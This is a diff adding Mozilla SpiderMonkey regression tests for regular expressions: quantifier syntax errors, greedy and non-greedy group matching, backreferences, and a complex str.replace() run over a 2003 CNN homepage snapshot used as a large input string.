+
+status = inSection(33);
+testThis(' /x{1,2}{1,}/ ');
+
+status = inSection(34);
+testThis(' /x{1}{1,2}/ ');
+
+status = inSection(35);
+testThis(' /x{1,}{1,2}/ ');
+
+status = inSection(36);
+testThis(' /x{1,2}{1,2}/ ');
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Invalid syntax should generate a SyntaxError
+ */
+function testThis(sInvalidSyntax)
+{
+ expect = TEST_PASSED;
+ actual = TEST_FAILED_BADLY;
+
+ try
+ {
+ eval(sInvalidSyntax);
+ }
+ catch(e)
+ {
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+/*
+ * Allowed syntax shouldn't generate any errors
+ */
+function checkThis(sAllowedSyntax)
+{
+ expect = CHECK_PASSED;
+ actual = CHECK_PASSED;
+
+ try
+ {
+ eval(sAllowedSyntax);
+ }
+ catch(e)
+ {
+ actual = CHECK_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-191479.js b/js/src/tests/non262/RegExp/regress-191479.js
new file mode 100644
index 0000000000..ca12f71877
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-191479.js
@@ -0,0 +1,162 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 January 2003
+ * SUMMARY: Testing regular expressions of form /(x|y){n,}/
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191479
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 191479;
+var summary = 'Testing regular expressions of form /(x|y){n,}/';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = '12 3 45';
+pattern = /(\d|\d\s){2,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12', '2');
+addThis();
+
+status = inSection(2);
+string = '12 3 45';
+pattern = /(\d|\d\s){4,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+status = inSection(3);
+string = '12 3 45';
+pattern = /(\d|\d\s)+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12', '2');
+addThis();
+
+status = inSection(4);
+string = '12 3 45';
+pattern = /(\d\s?){4,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+/*
+ * Let's reverse the operands in Sections 1-3 above -
+ */
+status = inSection(5);
+string = '12 3 45';
+pattern = /(\d\s|\d){2,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+status = inSection(6);
+string = '12 3 45';
+pattern = /(\d\s|\d){4,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+status = inSection(7);
+string = '12 3 45';
+pattern = /(\d\s|\d)+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '5');
+addThis();
+
+
+/*
+ * Let's take all 7 sections above and make each quantifer non-greedy.
+ *
+ * This is done by appending ? to it. It doesn't change the meaning of
+ * the quantifier, but makes it non-greedy, which affects the results -
+ */
+status = inSection(8);
+string = '12 3 45';
+pattern = /(\d|\d\s){2,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12', '2');
+addThis();
+
+status = inSection(9);
+string = '12 3 45';
+pattern = /(\d|\d\s){4,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 3 4', '4');
+addThis();
+
+status = inSection(10);
+string = '12 3 45';
+pattern = /(\d|\d\s)+?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('1', '1');
+addThis();
+
+status = inSection(11);
+string = '12 3 45';
+pattern = /(\d\s?){4,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 3 4', '4');
+addThis();
+
+status = inSection(12);
+string = '12 3 45';
+pattern = /(\d\s|\d){2,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 ', '2 ');
+addThis();
+
+status = inSection(13);
+string = '12 3 45';
+pattern = /(\d\s|\d){4,}?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('12 3 4', '4');
+addThis();
+
+status = inSection(14);
+string = '12 3 45';
+pattern = /(\d\s|\d)+?/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('1', '1');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-202564.js b/js/src/tests/non262/RegExp/regress-202564.js
new file mode 100644
index 0000000000..824ce21f03
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-202564.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 18 April 2003
+ * SUMMARY: Testing regexp with many backreferences
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=202564
+ *
+ * Note that in Section 1 below, we expect the 1st and 4th backreferences
+ * to hold |undefined| instead of the empty strings one gets in Perl and IE6.
+ * This is because per ECMA, regexp backreferences must hold |undefined|
+ * if not used. See http://bugzilla.mozilla.org/show_bug.cgi?id=123437.
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 202564;
+var summary = 'Testing regexp with many backreferences';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'Seattle, WA to Buckley, WA';
+pattern = /(?:(.+), )?(.+), (..) to (?:(.+), )?(.+), (..)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, undefined, "Seattle", "WA", undefined, "Buckley", "WA");
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-209067.js b/js/src/tests/non262/RegExp/regress-209067.js
new file mode 100644
index 0000000000..938cc165e9
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-209067.js
@@ -0,0 +1,1069 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 June 2003
+ * SUMMARY: Testing complicated str.replace()
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=209067
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 209067;
+var summary = 'Testing complicated str.replace()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function formatHTML(h)
+{
+ // a replace function used in the succeeding lines -
+ function S(s)
+ {
+ return s.replace(/</g,'&lt;').replace(/>/g,'&gt;');
+ }
+
+ h+='\n';
+ h=h.replace(/&([^\s]+;)/g,'&lt;&amp;$1&gt;');
+ h=h.replace(new RegExp('<!-'+'-[\\s\\S]*-'+'->','g'), S);
+ h=h.replace(/"[^"]*"/g,S);
+ h=h.replace(/'[^']*'/g,S);
+
+
+ h=h.replace(/<([^>]*)>/g,
+ function(s,p)
+ {
+ if(s.match(/!doctype/i))
+ return'<span class=doctype>&lt;' + p + '&gt;</span>';
+
+ p=p.replace(/\\'/g,'\\&#39;').replace(/\\"/g,'\\&#34;').replace(/^\s/,'');
+p=p.replace(/(\s)([^<]+)$/g,
+ function(s,p1,p2)
+ {
+ p2=p2.replace(/(=)(\s*[^"'][^\s]*)(\s|$)/g,'$1<span class=attribute-value>$2</span>$3');
+ p2=p2.replace(/("[^"]*")/g,'<span class=attribute-value>$1</span>');
+ p2=p2.replace(/('[^']*')/g,'<span class=attribute-value>$1</span>');
+ return p1 + '<span class=attribute-name>'+p2+'</span>';
+ }
+ )
+
+ return'&lt;<span class=' + (s.match(/<\s*\//)?'end-tag':'start-tag') + '>' + p + '</span>&gt;';
+ }
+ )
+
+
+ h=h.replace(/&lt;(&[^\s]+;)&gt;/g,'<span class=entity>$1</span>');
+ h=h.replace(/(&lt;!--[\s\S]*--&gt;)/g,'<span class=comment>$1</span>');
+
+
+ numer=1;
+ h=h.replace(/(.*\n)/g,
+ function(s,p)
+ {
+ return (numer++) +'. ' + p;
+ }
+ )
+
+
+ return'<span class=text>' + h + '</span>';
+}
+
+
+
+/*
+ * sanity check
+ */
+status = inSection(1);
+actual = formatHTML('abc');
+expect = '<span class=text>1. abc\n</span>';
+addThis();
+
+
+/*
+ * The real test: can we run this without crashing?
+ * We are not validating the result, just running it.
+ */
+status = inSection(2);
+var HUGE_TEST_STRING = hugeString();
+formatHTML(HUGE_TEST_STRING);
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function hugeString()
+{
+var s = '';
+
+s += '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">';
+s += '<html lang="en">';
+s += '<head>';
+s += ' <meta http-equiv="content-type" content="text/html; charset=iso-8859-1">';
+s += ' <meta http-equiv="refresh" content="1800">';
+s += ' <title>CNN.com</title>';
+s += ' <link rel="Start" href="/">';
+s += ' <link rel="Search" href="/search/">';
+s += ' <link rel="stylesheet" href="http://i.cnn.net/cnn/.element/ssi/css/1.0/main.css" type="text/css">';
+s += ' <script language="JavaScript1.2" src="http://i.cnn.net/cnn/.element/ssi/js/1.0/main.js" type="text/javascript"></script>';
+s += '<script language="JavaScript1.1" src="http://ar.atwola.com/file/adsWrapper.js"></script>';
+s += '<style type="text/css">';
+s += '<!--';
+s += '.aoltextad { text-align: justify; font-size: 12px; color: black; font-family: Georgia, sans-serif }';
+s += '-->';
+s += '</style>';
+s += '<script language="JavaScript1.1" type="text/javascript" src="http://ar.atwola.com/file/adsPopup2.js"></script>';
+s += '<script language="JavaScript">';
+s += 'document.adoffset = 0;';
+s += 'document.adPopupDomain = "www.cnn.com";';
+s += 'document.adPopupFile = "/cnn_adspaces/adsPopup2.html";';
+s += 'document.adPopupInterval = "P24";';
+s += 'document.adPopunderInterval = "P24";';
+s += 'adSetOther("&TVAR="+escape("class=us.low"));';
+s += '</script>';
+s += '';
+s += ' ';
+s += '</head>';
+s += '<body class="cnnMainPage">';
+s += '';
+s += '';
+s += '';
+s += '<a name="top_of_page"></a>';
+s += '<a href="#ContentArea"><img src="http://i.cnn.net/cnn/images/1.gif" alt="Click here to skip to main content." width="10" height="1" border="0" align="right"></a>';
+s += '<table width="770" border="0" cellpadding="0" cellspacing="0" style="speak: none">';
+s += ' <col width="229">';
+s += ' <col width="73">';
+s += ' <col width="468">';
+s += ' <tr>';
+s += ' <td colspan="3"><!--';
+s += '[[!~~ netscape hat ~~]][[table border="0" cellpadding="0" cellspacing="0" width="100%"]][[tr]][[td]][[script Language="Javascript" SRC="http://toolbar.aol.com/dashboard.twhat?dom=cnn" type="text/javascript"]][[/script]][[/td]][[/tr]][[/table]]';
+s += '';
+s += '[[div]][[img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2" border="0"]][[/div]]';
+s += '-->';
+s += ' </td>';
+s += ' </tr>';
+s += ' <tr valign="bottom">';
+s += ' <td width="229" style="speak: normal"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/logo/cnn.gif" alt="CNN.com" width="229" height="52" border="0"></td>';
+s += ' <td width="73"></td>';
+s += ' <td width="468" align="right">';
+s += ' <!-- home/bottom.468x60 -->';
+s += '<script language="JavaScript1.1">';
+s += '<!--';
+s += 'adSetTarget("_top");';
+s += 'htmlAdWH( (new Array(93103287,93103287,93103300,93103300))[document.adoffset||0] , 468, 60);';
+s += '//-->';
+ s += '</script>';
+ s += '<noscript><a href="http://ar.atwola.com/link/93103287/aol" target="_top"><img src="http://ar.atwola.com/image/93103287/aol" alt="Click Here" width="468" height="60" border="0"></a></noscript> ';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="3"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3">';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="3" bgcolor="#CC0000"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="3"></td></tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3">';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <form action="http://search.cnn.com/cnn/search" method="get" onsubmit="return CNN_validateSearchForm(this);">';
+ s += '<input type="hidden" name="source" value="cnn">';
+ s += '<input type="hidden" name="invocationType" value="search/top">';
+ s += ' <tr><td colspan="4"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1" border="0"></td></tr>';
+ s += ' <tr><td colspan="4" bgcolor="#003366"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="3" border="0"></td></tr>';
+ s += ' <tr>';
+ s += ' <td rowspan="2"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.search.gif" alt="SEARCH" width="110" height="27" border="0"></td>';
+ s += ' <td colspan="2"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.top.bevel.gif" alt="" width="653" height="3" border="0"></td>';
+ s += ' <td rowspan="2"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.right.bevel.gif" alt="" width="7" height="27" border="0"></td>';
+ s += ' </tr>';
+ s += ' <tr bgcolor="#B6D8E0">';
+ s += ' <td><table border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td>&nbsp;&nbsp;</td>';
+ s += ' <td nowrap><span class="cnnFormTextB" style="color:#369">The Web</span></td>';
+ s += ' <td><input type="radio" name="sites" value="google" checked></td>';
+ s += ' <td>&nbsp;&nbsp;</td>';
+ s += ' <td><span class="cnnFormTextB" style="color:#369;">CNN.com</span></td>';
+ s += ' <td><input type="radio" name="sites" value="cnn"></td>';
+ s += ' <td>&nbsp;&nbsp;</td>';
+ s += ' <td><input type="text" name="query" class="cnnFormText" value="" title="Enter text to search for and click Search" size="35" maxlength="40" style="width: 280px"></td>';
+ s += ' <td>&nbsp;<input type="Submit" value="Search" class="cnnNavButton" style="padding: 0px; margin: 0px; width: 50px"></td>';
+ s += ' </tr>';
+ s += ' </table></td>';
+ s += ' <td align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.google.gif" alt="enhanced by Google" width="137" height="24" border="0"></td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="4"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/searchbar/bar.bottom.bevel.gif" alt="" width="770" height="3" border="0"></td></tr>';
+ s += ' </form>';
+ s += '</table>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += '';
+ s += '';
+ s += '</table>';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <col width="126" align="left" valign="top">';
+ s += ' <col width="10">';
+ s += ' <col width="280">';
+ s += ' <col width="10">';
+ s += ' <col width="344">';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="5" width="126" style="speak: none"><table id="cnnNavBar" width="126" bgcolor="#EEEEEE" border="0" cellpadding="0" cellspacing="0" summary="CNN.com Navigation">';
+ s += ' <col width="8" align="left" valign="top">';
+ s += ' <col width="118" align="left" valign="top">';
+ s += ' <tr bgcolor="#CCCCCC" class="cnnNavHiliteRow"><td width="8" class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavHilite" onClick="CNN_goTo("/")"><div class="cnnNavText"><a href="/">Home Page</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/WORLD/")"><div class="cnnNavText"><a href="/WORLD/">World</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/US/")"><div class="cnnNavText"><a href="/US/">U.S.</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/WEATHER/")"><div class="cnnNavText"><a href="/WEATHER/">Weather</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/money/")"><div class="cnnNavText"><a href="/money/">Business</a>&nbsp;<a href="/money/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/nav_at_money.gif" alt="at CNN/Money" width="51" height="5" border="0"></a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/cnnsi/")"><div class="cnnNavText"><a href="/si/">Sports</a>&nbsp;<a href="/si/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/nav_at_si.gif" alt="at SI.com" width="50" height="5" border="0"></a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/ALLPOLITICS/")"><div class="cnnNavText"><a href="/ALLPOLITICS/">Politics</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/LAW/")"><div class="cnnNavText"><a href="/LAW/">Law</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/TECH/")"><div class="cnnNavText"><a href="/TECH/">Technology</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/TECH/space/")"><div class="cnnNavText"><a href="/TECH/space/">Science &amp; Space</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/HEALTH/")"><div class="cnnNavText"><a href="/HEALTH/">Health</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/SHOWBIZ/")"><div class="cnnNavText"><a href="/SHOWBIZ/">Entertainment</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/TRAVEL/")"><div class="cnnNavText"><a href="/TRAVEL/">Travel</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/EDUCATION/")"><div class="cnnNavText"><a href="/EDUCATION/">Education</a></div></td></tr>';
+ s += ' <tr class="cnnNavRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNav" onMouseOver="CNN_navBar(this,1,1)" onMouseOut="CNN_navBar(this,0,1)" onClick="CNN_navBarClick(this,1,"/SPECIALS/")"><div class="cnnNavText"><a href="/SPECIALS/">Special Reports</a></div></td></tr>';
+ s += ' <tr bgcolor="#FFFFFF"><td class="cnnNavAd" colspan="2" align="center"><!-- home/left.120x90 -->';
+ s += '<script language="JavaScript1.1">';
+ s += '<!--';
+ s += 'adSetTarget("_top");';
+ s += 'htmlAdWH( (new Array(93166917,93166917,93170132,93170132))[document.adoffset||0] , 120, 90);';
+ s += '//-->';
+ s += '</script><noscript><a href="http://ar.atwola.com/link/93166917/aol" target="_top"><img src="http://ar.atwola.com/image/93166917/aol" alt="Click here for our advertiser" width="120" height="90" border="0"></a></noscript></td></tr>';
+ s += ' <tr bgcolor="#999999" class="cnnNavGroupRow">';
+ s += ' <td colspan="2" class="cnnNavGroup"><div class="cnnNavText">SERVICES</div></td></tr>';
+ s += ' <tr class="cnnNavOtherRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavOther" onMouseOver="CNN_navBar(this,1,0)" onMouseOut="CNN_navBar(this,0,0)" onClick="CNN_navBarClick(this,0,"/video/")"><div class="cnnNavText"><a href="/video/">Video</a></div></td></tr>';
+ s += ' <tr class="cnnNavOtherRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavOther" onMouseOver="CNN_navBar(this,1,0)" onMouseOut="CNN_navBar(this,0,0)" onClick="CNN_navBarClick(this,0,"/EMAIL/")"><div class="cnnNavText"><a href="/EMAIL/">E-Mail Services</a></div></td></tr>';
+ s += ' <tr class="cnnNavOtherRow"><td class="swath">&nbsp;</td>';
+ s += ' <td class="cnnNavOther" onMouseOver="CNN_navBar(this,1,0)" onMouseOut="CNN_navBar(this,0,0)" onClick="CNN_navBarClick(this,0,"/mobile/CNNtoGO/")"><div class="cnnNavText"><a href="/mobile/CNNtoGO/">CNN To Go</a></div></td></tr>';
+ s += ' <tr bgcolor="#999999" class="cnnNavGroupRow">';
+ s += ' <td colspan="2" class="cnnNavGroup" style="background-color: #445B60"><div class="cnnNavText" style="color: #fff">SEARCH</div></td></tr>';
+ s += ' <tr bgcolor="#CCCCCC"><td colspan="2" class="cnnNavSearch" style="background-color:#B6D8E0">';
+ s += '';
+ s += '<form action="http://search.cnn.com/cnn/search" method="get" name="nav_bottom_search" onSubmit="return CNN_validateSearchForm(this)" style="margin: 0px;">';
+ s += ' <input type="hidden" name="sites" value="cnn">';
+ s += ' <input type="hidden" name="source" value="cnn">';
+ s += ' <input type="hidden" name="invocationType" value="side/bottom">';
+ s += '<table width="100%" border="0" cellpadding="0" cellspacing="4">';
+ s += ' <tr><td colspan="2"><table width="100%" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td align="left"><span class="cnnFormTextB" style="color: #369">Web</span></td>';
+ s += ' <td><input type="radio" name="sites" value="google" checked></td>';
+ s += ' <td align="right"><span class="cnnFormTextB" style="color: #369">CNN.com</span></td>';
+ s += ' <td><input type="radio" name="sites" value="cnn"></td>';
+ s += ' </tr>';
+ s += ' </table></td></tr>';
+ s += ' <tr><td colspan="2"><input type="text" name="query" class="cnnFormText" value="" title="Enter text to search for and click Search" size="7" maxlength="40" style="width: 100%"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td><input type="submit" value="Search" class="cnnNavButton" style="padding: 0px; margin: 0px; width: 50px"></td>';
+ s += ' <td align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/sect/SEARCH/nav.search.gif" alt="enhanced by Google" width="54" height="27"></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '';
+ s += '</td></form></tr>';
+ s += '</table>';
+ s += '';
+ s += ' </td>';
+ s += ' <td rowspan="5" width="10"><a name="ContentArea"></a><img id="accessibilityPixel" src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="7" border="0"></td>';
+ s += ' <td colspan="3" valign="middle">';
+ s += ' <table border="0" cellpadding="0" cellspacing="0" width="100%">';
+ s += ' <tr>';
+ s += ' <td valign="top" nowrap><div class="cnnFinePrint" style="color: #333;padding:6px;padding-left:0px;">Updated: 05:53 p.m. EDT (2153 GMT) June 12, 2003</div></td>';
+ s += ' <td align="right" nowrap class="cnnt1link"><a href="http://edition.cnn.com/">Visit International Edition</a>&nbsp;</td>';
+ s += ' </tr><!--include virtual="/.element/ssi/sect/MAIN/1.0/banner.html"-->';
+ s += ' </table>';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="2" width="280" bgcolor="#EAEFF4">';
+ s += '';
+ s += '<!-- T1 -->';
+ s += ' ';
+ s += ' <a href="/2003/SHOWBIZ/Movies/06/12/obit.peck/index.html"><img src="http://i.cnn.net/cnn/2003/SHOWBIZ/Movies/06/12/obit.peck/top.peck.obit.jpg" alt="Oscar-winner Peck dies" width="280" height="210" border="0" hspace="0" vspace="0"></a>';
+ s += '';
+ s += ' <div class="cnnMainT1">';
+ s += ' <h2 style="font-size:20px;"><a href="/2003/SHOWBIZ/Movies/06/12/obit.peck/index.html">Oscar-winner Peck dies</a></h2>';
+ s += '<p>';
+ s += 'Actor Gregory Peck, who won an Oscar for his portrayal of upstanding lawyer Atticus Finch in 1962s "To Kill a Mockingbird," has died at age 87. Peck was best known for roles of dignified statesmen and people who followed a strong code of ethics. But he also could play against type. All told, Peck was nominated for five Academy Awards.';
+ s += '</p>';
+ s += ' <p>';
+ s += ' <b><a href="/2003/SHOWBIZ/Movies/06/12/obit.peck/index.html" class="cnnt1link">FULL STORY</a></b>';
+ s += ' </p>';
+ s += '';
+ s += '';
+ s += '';
+ s += '&#8226; <span class="cnnBodyText" style="font-weight:bold;color:#333;">Video: </span><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/premium.gif" alt="premium content" width="9" height="11" hspace="0" vspace="0" border="0" align="absmiddle"> <a href="javascript:LaunchVideo("/showbiz/2003/06/12/peck.obit.affl.","300k");">A leading mans leading man</a><br>';
+ s += '';
+ s += '';
+ s += '';
+ s += ' ';
+ s += '&#8226; <span class="cnnBodyText" style="font-weight:bold;color:#333">Interactive: </span> <a href="javascript:CNN_openPopup("/interactive/entertainment/0306/peck.obit/frameset.exclude.html","620x430","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=620,height=430")">Gregory Peck through the years</a><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226; <a href="http://www.cnn.com/2003/SHOWBIZ/Movies/06/12/peck.filmography/index.html" target="new">Gregory Peck filmography</a><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13" vspace="1" hspace="4" border="0" align="top"><br>';
+ s += '';
+ s += ' ';
+ s += '&#8226; <a href="http://www.cnn.com/2003/SHOWBIZ/Movies/06/04/heroes.villains.ap/index.html" target="new">Pecks Finch chararcter AFIs top hero</a><img src="http://i.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13" vspace="1" hspace="4" border="0" align="top"><br>';
+ s += ' </div>';
+ s += '';
+ s += '<!-- /T1 -->';
+ s += ' </td>';
+ s += ' ';
